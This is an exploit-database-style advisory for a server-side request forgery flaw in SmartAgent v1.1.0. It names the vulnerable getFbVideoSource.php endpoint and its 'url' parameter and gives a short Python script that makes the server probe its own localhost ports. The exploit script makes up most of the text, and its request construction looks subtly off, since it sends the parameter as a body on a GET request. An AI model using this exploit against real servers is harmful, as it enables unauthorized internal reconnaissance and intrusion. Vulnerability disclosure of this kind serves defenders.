SmartAgent 1.1.0 Server-Side Request Forgery

# Exploit Title: SmartAgent v1.1.0 – Server-Side Request Forgery (SSRF)
# Date: 01-10-2024
# Exploit Author: Alter Prime
# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com
# Version: Build v1.1.0
# Tested on: Kali Linux

An unauthenticated user can trigger the web server to perform web requests to the localhost via a GET request to the vulnerable script https://smarts-srlcom.com/FB/getFbVideoSource.php?url=http://127.0.0.1:80.

The GET request includes the vulnerable parameter “url”.

Steps To Reproduce:
1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0

#Python Exploit

import requests

url = “https://smartagent.[client].com/FB/getFbVideoSource.php”
port = input(“Enter the port you want to check: “)

parameter = {
“url”: “http://127.0.0.1:” + port
}

response = requests.get(url, data=parameter, verify=False)

if response.status_code == 200:
print(f”Port {port} is open on the server”)
else:
print(f”Port {port} closed”)